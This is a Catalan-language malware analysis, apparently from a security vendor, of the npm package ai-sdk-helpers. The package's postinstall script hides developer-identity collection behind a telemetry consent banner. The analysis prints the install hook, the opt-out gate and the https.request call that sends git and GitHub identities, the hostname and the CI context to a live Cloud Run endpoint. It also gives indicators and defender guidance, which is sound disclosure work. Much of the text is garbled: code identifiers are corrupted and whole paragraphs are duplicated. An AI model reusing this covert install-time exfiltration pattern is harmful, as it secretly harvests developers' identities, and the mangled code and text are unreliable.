ConsentMask El paquet npm que amaga la recol·lecció d'identitats del desenvolupador

ConsentMask: Un paquet npm que porta un bàner de consentiment de telemetria sobre la recol·lecció d'identitats de desenvolupador

TL; DR

Un únic paquet npm, ajudants d'ai-sdk, es presenta com un conjunt d'eines de producció per al SDK d'IA de Vercel, que ofereix seguiment de costos, recursos alternatius per a proveïdors i ajuda per a la transmissió en temps real.

El seu script en temps d'instal·lació s'obre amb un bàner de divulgació polit que descriu diagnòstics anònims, prometent que no es transmetrà cap codi font, testimonis ni credencials, respectant un DO_NOT_TRACK exclusió voluntària i enllaç a una pàgina de política de telemetria.

El mateix script llegeix la identitat git del desenvolupador, la configuració de la CLI de GitHub, el nom d'amfitrió de la màquina, el nom d'usuari del sistema operatiu, el directori de treball i el proveïdor de CI.

Aquestes dades s'envien com a JSON a un punt final de Google Cloud Run, cosa que crea una clara discrepància entre la política de telemetria indicada i els camps reals recollits.

El paquet es va publicar en vint-i-dues versions en una sola ràfega de 83 segons, i l'script d'instal·lació és idèntic byte per byte en totes les versions marcades.

Set de les vuit versions revisades pel nostre pipeline van ser puntuades com a inconcloents pel classificador d'aprenentatge automàtic perquè l'estil del bàner de consentiment s'assembla a la telemetria legítima.

Classifiquem ai-sdk-helpers com a maliciós en funció de la recopilació i exfiltració d'identitat del desenvolupador en el moment de la instal·lació.

Gravetat: alta.

 Anatomia de la instal·lació

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

postinstal·lació s'executa automàticament en npm instal·lar, abans que s'importi cap codi anunciat del paquet. L'script scripts/postinstal·lació.js és on resideix tot el comportament en temps d'instal·lació.

S'obre amb un bloc de comentaris i un avís d'execució escrit al registre d'un projecte de codi obert respectuós amb la privadesa:

>Quan instal·leu ai-sdk-helpers, executem una comprovació ràpida de compatibilitat amb l'entorn i informem de diagnòstics anònims... Les dades són totalment anònimes: recopilem la vostra plataforma, la versió de Node i un hash unidireccional de l'identificador de la vostra màquina. No es transmet mai cap codi font, testimonis ni credencials.

Fins i tot connecta una porta de desactivació voluntària que funciona, el primer codi executable del fitxer:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Enllaçar aquesta porta primer és el que fa que la resta es llegeixi com a consensuada: un desenvolupador que estableix `D_NO_TRACK` fa que la instal·lació es completi silenciosament i conclou que el paquet respecta la convenció. L'opció de no ús respectada és real. El que obre, per a tothom qui no la configura, és la col·lecció descrita a continuació, no la "plataforma, versió de Node i un hash unidireccional" més específica que anomena l'avís.

Sota aquesta porta, l'script munta una càrrega útil que va molt més enllà d'aquesta descripció.

  • *Gidentitat t.* rresoldreScmIdentitat()` caps `~.gitconfig`,`~.config/git/config`,i el projecte actual `.it/config`,analitza el `[ser]` acció i retorna la configuració commit correu electrònic. Si cap fitxer de configuració no genera un correu electrònic, es torna a utilitzar `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,i `EAIL` variables d'entorn. Una docstring sobre la funció emmarca la lectura com una manera de "deduplicar instal·lacions entre màquines propietat de la mateixa persona (per exemple, ordinador portàtil + CI)", un propòsit declarat que requereix un identificador estable per desenvolupador, que commit subministraments de correu electrònic.
  • *GCompte tHub.* r`solveGitHubIdentity()` caps `~.config/gh/hosts.yml` i `~.config/gh/hosts.yaml` el fitxer de configuració escrit per la CLI del GitHub quan un desenvolupador s'autentica, i extreu amb expressió regular la `uer:` i `eail:` camps. Aquest fitxer també emmagatzema el token OAuth de GitHub; l'expressió regular de l'script es dirigeix ​​específicament a les línies de nom d'usuari i correu electrònic i no extreu el token. Per tant, l'afirmació "no es transmeten mai tokens..." del bàner de divulgació és literalment certa per a aquest camp mentre es llegeixen i s'envien els identificadors de compte circumdants.
  • *Hempremta digital st i CI.* El guió llavors recull `o.nom_amfitrió()`,`o.userInfo().username`,la versió, la plataforma i l'arquitectura de Node, `pocess.cwd()`,i una etiqueta de proveïdor de CI resolta comprovant les variables d'entorn per a vuit proveïdors (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite i dos indicadors genèrics de CI). La llista de proveïdors es llegeix com un inventari d'on l'script espera executar-se: shells interactius i compilació automatitzada. pipelines igual.

Tots aquests estan agrupats en una sola `dagnòstics objecte, amb els camps per desenvolupador recollits sota un `ientitat ey i les dades de l'amfitrió sota `rtemps_n i `cntext` eys, després serialitzat i transmès:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

La resposta es descarta i tots els errors s'empassen; un comentari assenyala que "la telemetria no ha de trencar mai la instal·lació". El nom d'amfitrió del punt final codifica un servei de Google Cloud Run a l'ecorda-oest1` regió.

La bretxa és la història. El bàner anomena tres categories de dades: plataforma, versió de node i hash de l'identificador de màquina. La càrrega útil envia el git real d'un desenvolupador. commit correu electrònic, el seu nom d'usuari i correu electrònic de GitHub, el nom d'amfitrió de la màquina i el nom del compte del sistema operatiu, la ruta del projecte i el seu entorn de CI. Els camps que identifiquen una *ppersona i els seus comptes* són exactament els camps que omet la divulgació.

El README reforça l'enquadrament des de l'altra banda. La seva secció de "Telemetria" repeteix la reivindicació d'anonimat i enllaça la paraula `D_NO_TRACK` o `cnsoledonottrack.com`,la pàgina de la comunitat real que documenta la convenció de no opció, prenent prestat una privadesa reconeguda standard perquè l'avís es llegeixi com a rutina.

Línia de temps

Es tracta d'una troballa d'un sol paquet amb un historial de publicació molt curt i molt dens. No hi ha cap arc de campanya de diverses setmanes per traçar: tota la gamma de versions es va publicar a velocitat de màquina.

Quan (UTC) esdeveniment
2026-06-03 20:31:20 Primera versió (0.1.0) publicat a npm.
2026-06-03 20:31:20 – 20:32:43 Totes les 22 versions (0.1.0 a través de 1.4.2) publicat en una ràfega automatitzada de 83 segons.
2026-06-04 Vuit versions marcades per senyals de detecció; l'anàlisi manual confirma la recopilació i l'exfiltració d'identitats en el moment de la instal·lació. El paquet romania actiu a npm en el moment de l'anàlisi.

La finestra de 83 segons a través de 22 versions semàntiques és en si mateixa un indicador de comportament: l'escala de versions (`01.0',`01.1',… `14.2`)presenta la superfície d'un projecte mantingut activament amb un historial de llançaments, produït en una sola execució amb script. L'script d'instal·lació no canvia a través d'aquesta escala; vegeu més avall.

Indicadors de compromís

La càrrega útil en temps d'instal·lació és idèntica a tot el rang de versions publicades. A `dff` f `sripts/postinstall.js` versió 02.1 ' nd versió `14.2 ' no retorna cap diferència; el comportament és una empremta digital fixa, no una càrrega útil en evolució.

Xarxa

La finestra de 83 segons a través de 22 versions semàntiques és en si mateixa un indicador de comportament: l'escala de versions (`01.0',`01.1',… `14.2`)presenta la superfície d'un projecte mantingut activament amb un historial de llançaments, produït en una sola execució amb script. L'script d'instal·lació no canvia a través d'aquesta escala; vegeu més avall.

Indicadors de compromís

La càrrega útil en temps d'instal·lació és idèntica a tot el rang de versions publicades. A `dff` f `sripts/postinstall.js` versió 02.1 ' nd versió `14.2 ' no retorna cap diferència; el comportament és una empremta digital fixa, no una càrrega útil en evolució.

Xarxa

Indicador Paper
npm-package-logger-228835561205.europe-west1.run.app Punt final d'exfiltració que rep sol·licituds HTTPS POST amb càrregues útils JSON. Allotjat a Google Cloud Run a europe-west1 regió.

Infraestructura esquer

Indicador Paper
ai-sdk.guide Pàgina d'inici del paquet i lloc web en directe que recolza la identitat d'autor de la "Guia de l'SDK d'IA".
ai-sdk.guide/telemetry URL de la política de telemetria a la qual es fa referència a l'avís de divulgació en temps d'instal·lació.
hello@ai-sdk.guide Correu electrònic de l'autor declarat a package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Repositori font declarat pel paquet.

Fitxers llegits en el moment de la instal·lació

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` correu
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Interfície de línia de comandament del GitHuber` `emaldecap

Signatures conductuals

  • – m `pinstal·lació ook invocant un script de Node inclòs
  • – porta de no opció (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NO_TRACK`)presentat com una funció de privadesa, abans de la recopilació d'identitat
  • – POST HTTPS tbound d'un objecte JSON que conté el correu electrònic de git, la identitat de GitHub, el nom d'amfitrió, el nom d'usuari del sistema operatiu, el cwd i l'etiqueta CI
  • – script d'instal·lació te-idèntic a través d'una escala de versions publicada ràpidament

 Atribució i comportament observat
No atribuïm res més enllà del que registren les metadades del paquet i del registre.

El responsable del manteniment del registre npm és el compte `aielsimon,amb l'adreça `aiel@vigilance.security`.El registre mostra aquest correu electrònic com a no verificat i la identitat de control d'origen del compte com a no verificada. La `pckage.json`,per separat, presenta l'autor com a "Guia de l'SDK d'IA"ello@ai-sdk.guide>`”amb una pàgina d'inici de `a-sdk.guide` i un repositori font sota un `gOrganització `thub.com/ai-sdk-guide`. El domini de correu electrònic del compte de publicació (`vigilance.security`)i la identitat d'autor del paquet (`a-sdk.guide`)són dominis diferents.

La `a-sdk.guide` ite està en directe i respon, i el `/elemetria ath resol: la identitat esquer està recolzada per una presència web accessible en lloc d'un enllaç mort, cosa que augmenta la credibilitat de l'enquadrament del paquet.

**Capacitat observada.** En el moment de la instal·lació, el paquet llegeix la identitat del desenvolupador i els fitxers de configuració del compte, pren les empremtes digitals de l'amfitrió i de l'entorn de CI i transmet el resultat a un punt final controlat per l'operador, alhora que mostra un avís que descriu un conjunt de dades més reduït i anonimitzat. Descrivim aquest comportament; no n'afirmem cap motiu. Els lectors que avaluïn el paquet, inclosa qualsevol part que reconegui la identitat de publicació, haurien de valorar la discrepància observable entre els fluxos de dades declarats i els reals.

Impacte, tendències i orientació per a defensors

Qui està exposat. Qualsevol persona que instal·li ajudants d'ai-sdk — directament o com a dependència transitiva — executa la col·lecció en aquesta màquina. Com que el disparador és postinstal·lació, el codi de la biblioteca anunciat no s'ha d'importar mai perquè es produeixi el flux de dades; la instal·lació per si sola és suficient. Els entorns de més valor són les estacions de treball de desenvolupador amb una identitat git configurada i una CLI de GitHub autenticada, i els executors de CI, on la detecció del proveïdor de CI de l'script indica que s'espera que la col·lecció s'executi dins de la compilació. pipelines, així com en ordinadors portàtils.

El que exposa. No són secrets d'aplicació en el cas general: la càrrega útil se centra en identitatdel desenvolupador commit correu electrònic, el nom i el correu electrònic del seu compte de GitHub, els noms de la màquina i del compte i la ruta del projecte. Això és una precisun mapa de qui va instal·lar el paquet, en quina màquina, en quin repositori i sota quin sistema de CI. Per a una organització, un grapat d'aquests registres en conjunt enumerarien quins enginyers i quins sistemes de compilació van extreure la dependència, cosa que és útil com a precursor d'una activitat posterior més específica, tot i que el comportament propi d'aquest paquet s'atura en la recopilació i la transmissió.

La tendència: la telemetria com a cobertura. Les eines legítimes de desenvolupament sí que recopilen diagnòstics d'instal·lació anonimitzats i les convencions per fer-ho de manera respectuosa: un avís de divulgació, un NO_FER_SEGUIR honor, una bandera de baixa voluntària, una URL de política, són ben coneguts. ajudants d'ai-sdk reprodueix fidelment aquestes quatre convencions i les utilitza com a contenidor per a la recopilació d'identitats. La presència d'un bàner de consentiment, una opció de baixa que funcioni o un enllaç a la política de privadesa no és prova que un paquet sigui fiable; aquests controls són econòmics d'imitar. L'única comprovació fiable és què llegeix realment el codi i on ho envia realment.

Aquest envàs també té un efecte mesurable en el triatge automatitzat. A través de les versions, el nostre pipeline revisats, els comentaris en llenguatge planer de l'script d'instal·lació, els noms de camp estructurats i la porta de baixa convencional es van qualificar com a telemetria ordinària: set dels vuit van tornar inconclusiu del classificador d'aprenentatge automàtic en lloc de maliciós. El senyal que resol l'ambigüitat no es troba en la prosa, sinó en els fitxers específics que obre l'script (~ / .Gitconfig, ~/.config/gh/hosts.yml) i la destinació a la qual envia. Un revisor, automatitzat o humà, que llegeixi la divulgació i s'aturi allà arribarà a la conclusió equivocada; la determinació ha de provenir dels fets del flux de dades.

Guia per a defensors:

  • Instal·lació amb els scripts desactivats per defecte — instal·lació de npm –ignore-scripts, o conjunt ignora-scripts=true in .npmrc i executar passos de compilació verificats explícitament. Això neutralitza postinstal·lació-recaptació desencadenada a tot el tauler.
  • No tracteu els controls de baixa voluntària com a senyals de confiança. A NO_FER_SEGUIR check o un enllaç de "política de telemetria" no us diu res sobre les dades que recopila un script quan la porta no està definida.
  • Llegiu el ganxo d'instal·lació abans d'adoptar els paquets auxiliars de l'ecosistema d'IA. L'espai del SDK d'IA de Vercel és un objectiu de ràpid evolució i alta confiança; a postinstal·lació que toca ~ / .Gitconfig or ~/.config/gh/ és un senyal clar independentment de com estiguin escrits els comentaris que l'envolten.
  • Supervisa la sortida en temps de compilació. Un POST HTTPS de sortida durant npm instal·lar, especialment a un punt final de funció al núvol recentment aprovisionat, és observable a la capa de xarxa i és un punt de detecció potent per a entorns de CI.
  • Vigileu les escales de versió comprimides. Un paquet l'historial semàntic complet del qual apareix en qüestió de segons, amb un script d'instal·lació que no canvia, presenta un historial de manteniment fabricat.
sca-tools-software-composition-analyse-tools
Prioritzar, solucionar i protegir els riscos del programari
Obtén el teu compte gratuït.
No es requereix cap targeta de crèdit.

Assegura el desenvolupament i el lliurament del teu programari

amb el paquet de productes Xygeni